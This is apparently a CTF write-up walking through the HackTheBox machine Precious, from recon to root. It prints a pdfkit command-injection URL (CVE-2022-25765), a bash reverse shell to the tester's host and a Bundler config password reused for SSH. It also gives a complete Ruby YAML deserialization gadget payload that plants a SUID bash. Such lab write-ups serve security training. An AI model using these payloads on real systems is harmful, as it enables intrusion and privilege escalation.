HTB: Precious
Precious is on the easier side of boxes found on HackTheBox. It starts with a simple web page that takes a URL and generates a PDF. I’ll use the metadata from the resulting PDF to identify the technology in use, and find a command injection exploit to get a foothold on the box. Then I’ll find creds in a Ruby Bundler configuration file to get to user. To get to root, I’ll exploit a yaml deserialization vulnerability in a script meant to manage dependencies. In Beyond Root, I’ll explore the Ruby web application, how it’s hosted, and fix the bug that doesn’t allow me to fetch a PDF of the page itself.
Box Info
Name | Precious Play on HackTheBox |
---|---|
Release Date | 26 Nov 2022 |
Retire Date | 20 May 2023 |
OS | Linux |
Base Points | Easy [20] |
Rated Difficulty | |
Radar Graph | |
00:06:59 |
|
00:12:56 |
|
Creator |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.189
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-17 12:53 EDT
Nmap scan report for 10.10.11.189
Host is up (0.083s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.189
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-17 12:53 EDT
Nmap scan report for 10.10.11.189
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds
Based on the OpenSSH version, the host is likely running Debian 11 bullseye. There’s an HTTP redirect on port 80 to precious.htb
.
Subdomain Brute Force
I’ll use ffuf
to fuzz the HTTP server for any host subdomains that return something different from the standard response. I’ll use:
-u
to pass the URL-H "Host: FUZZ.precious.htb"
to specify the Host header, usingFUZZ
to mark where each word from the wordlist goes-w
to pass a wordlist of subdomain names from SecLists-mc all
to match on all HTTP status codes-ac
to smart filter based on a generic response.
It doesn’t find anything else:
oxdf@hacky$ ffuf -u http://10.10.11.189 -H "Host: FUZZ.precious.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.189
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.precious.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
:: Progress: [19966/19966] :: Job [1/1] :: 459 req/sec :: Duration: [0:00:42] :: Errors: 0 ::
I’ll add the domain to my /etc/hosts
file:
10.10.11.189 precious.htb
precious.htb - TCP 80
Site
The site is a single simple form:
If I pass it http://precious.htb
, it hangs for a second and returns:
Either local access is blocked, it’s a DNS issue. http://precious
and http://127.0.0.1
return the same, so it seems like a block. I’ll note this as some thing to check when I get access, but it’s not super important at the moment other than to know I can’t get access to local stuff. I’ll fix this in Beyond Root.
Similarly, URLs like file:///etc/passwd
return an error saying it’s not a valid URL.
I’ll give it http://10.10.14.6
, and start a Python webserver (python -m http.server
), and there’s a hit:
10.10.11.189 - - [17/May/2023 13:15:28] "GET / HTTP/1.1" 200 -
And it returns a PDF:
Submitting a URL sends a POST request to /
with the POST body of url=
:
POST / HTTP/1.1
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1
url=http://10.10.14.6/
Tech Stack
The HTTP headers show not only nginx, but more:
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Connection: close
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Wed, 17 May 2023 17:13:03 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
Content-Length: 483
It’s running Ruby, and Phusion Passenger, a web application server that supports Ruby, Python, Node, and Meteor applications.
Running exiftool
to look at the metadata on the downloaded PDF shows a “Creator” of “Generated by pdfkit v0.8.6”:
oxdf@hacky$ exiftool g1p4u6vq8iey0ixa0g5yfwhhg8ty6xx3.pdf
ExifTool Version Number : 12.40
File Name : g1p4u6vq8iey0ixa0g5yfwhhg8ty6xx3.pdf
Directory : .
File Size : 11 KiB
File Modification Date/Time : 2023:05:17 13:15:29-04:00
File Access Date/Time : 2023:05:17 13:25:52-04:00
File Inode Change Date/Time : 2023:05:17 13:25:51-04:00
File Permissions : -rwxrwx---
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Directory Brute Force
I’ll run feroxbuster
against the site, and it finds nothing:
oxdf@hacky$ feroxbuster -u http://precious.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://precious.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 18c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 47l 89w 815c http://precious.htb/stylesheets/style.css
200 GET 18l 42w 483c http://precious.htb/
[####################] - 54s 30002/30002 0s found:2 errors:0
[####################] - 53s 30000/30000 561/s http://precious.htb/
Shell as ruby
Identify CVE
Searching for “pdfkit v0.8.6” returns a ton of hits about CVE-2022-25765. Many of these are based on Precious, but even if I limit the search to pages from before Precious’ launch, there’s still the same results:
CVE-2022-25765 Background
The Snyk article has a nice short summary of how this is exploited and shows what a vulnerable call might look like:
PDFKit.new("http://example.com/?name=#{params[:name]}").pdf
The example attack version is:
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}")
Thinking about how the webserver might be built, it’s fair to say that it’s getting a URL from the POST request, and sending that into a call to PDFKit.new
as shown above.
POC
It’s not clear to me where the #{params[:name]}
comes from. That could be a part of the POC exploit, or it could be that Ruby is parsing the URL and rebuilding it like that. As I’m not sure, it’s easy to try both. I’ll start by sending id
. A bit of tinkering and eventually this URL works:
http://10.10.14.6/?name=%20`id`
The resulting PDF:
It’s not completely clear to me why the %20
(URL-encoded space) has to be at the start of the parameter. It seems to mostly be necessary if there are spaces in the command I’m running.
Shell
To get a shell, I’ll change the URL to a bash reverse shell:
http://10.10.14.6/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"`
On sending, I get a connect back at nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.189 39606
bash: cannot set terminal process group (680): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$
And I’ll upgrade the shell using the standard script
and stty
trick:
ruby@precious:/var/www/pdfapp$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ruby@precious:/var/www/pdfapp$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
ruby@precious:/var/www/pdfapp$
Shell as henry
Enumeration
sudo
ruby requires a password to run sudo
:
ruby@precious:~$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for ruby:
Because I got a shell as ruby via an exploit, I don’t have it.
Home Directories
There are two user’s with home directories, ruby and henry:
ruby@precious:/home$ ls
henry ruby
As ruby, I can enter and list henry’s home directory (user.txt
is there), but can’t read anything:
ruby@precious:/home/henry$ ls -la
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26 2022 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Sep 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 2022 .bashrc
-rw-r--r-- 1 henry henry 807 Sep 26 2022 .profile
-rw-r----- 1 root henry 33 May 16 19:01 user.txt
ruby’s home directory may appear empty at first, but .bundle
is interesting:
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 May 17 13:09 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 May 17 13:09 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
.bundle
Bundler is a dependency management tool used in Ruby projects to manage and install the required gems and their versions. The ~/.bundle
folder holds configuration information in the config
file, which is here:
ruby@precious:~$ ls .bundle/
config
ruby@precious:~$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
BUNDLE_HTTPS://RUBYGEMS__ORG/
is a key that represents a RubyGems repository URL. It indicates that the configuration applies to the https://rubygems.org/
repository.
"henry:Q3c1AqGHtoI0aXAYFH"
is the value associated with the key, containing the authentication credentials for accessing the RubyGems repository. In this case, the username is “henry” and the password (or API key) is “Q3c1AqGHtoI0aXAYFH”.
su / SSH
The config file had a password for a henry user, so I’ll try it on the box with su
, and it works:
ruby@precious:~$ su - henry
Password:
henry@precious:~$
This also works to connect directly from my host over SSH as henry:
oxdf@hacky$ sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@precious.htb
...[snip]...
henry@precious:~$
Either way, I can claim user.txt
:
henry@precious:~$ cat user.txt
2bf978a0************************
Shell as root
Enumeration
henry can run a ruby
script as root:
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
This script is used to manager Gems (packages in Ruby):
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Unsafe Yaml
The line that is of interest here is:
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
Both Python and Ruby have a safe_load
function for loading YAML. This is because both had issues with the original load and deserializing the YAML payload, resulting in code execution. I showed exploiting the Python version of this for Hackvent 2019 Day 19.
This gist has a really nice and succinct example of a payload that can be used to exploit YAML deserialization in Ruby. It’s based on this much longer and more detailed article.
POC
I’ll grab the POC from the gist and paste it into a file. Wherever I save it, I’ll need to run the command from that directory:
henry@precious:/dev/shm$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
Running now shows an error, the output of id
, and then a traceback:
henry@precious:/dev/shm$ sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
...[snip]...
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
It’s easy to miss the id
output with all the other lines, but it’s there, and that’s execution as root!
Shell
To get a shell, I’ll update my payload to copy bash
and make the copy SetUID and SetGID for root:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf
method_id: :resolve
After I run this, there’s a file at /tmp/0xdf
:
henry@precious:/dev/shm$ sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
...[snip]...
henry@precious:/dev/shm$ ls -l /tmp/0xdf
-rwsrwxrwx 1 root root 1234376 May 17 22:05 /tmp/0xdf
Running with -p
gives a shell with effective UID and GID as root:
henry@precious:/dev/shm$ /tmp/0xdf -p
0xdf-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
And I can claim root.txt
:
0xdf-5.1# cat root.txt
0bc3cc28************************
Beyond Root - Precious Web Server
Goals
I was able to figure out that it’s a Ruby webserver behind nginx during enumeration. In exploring, I’ll want to figure out some foundational stuff about the webserver:
- How nginx is hosting the app and how it’s redirecting to
precious.htb
; - How the Ruby web app runs;
- What the Ruby web app does;
- Why it fails to get the local web page and export it.
Exploration
I’ll go through these in this video:
The short summary is that nginx is using a module named passenger. This allows nginx to handle the Ruby application. I’ll show how nginx is doing that, as well as the docs that show how that application is configured.
I’ll look at the Ruby app to see how it generates PDF and handles GET and POST requests.
I’ll also see that local hosts are not blocked, but find a DNS issue, and fix it with the hosts
file such that I can export the main page to PDF.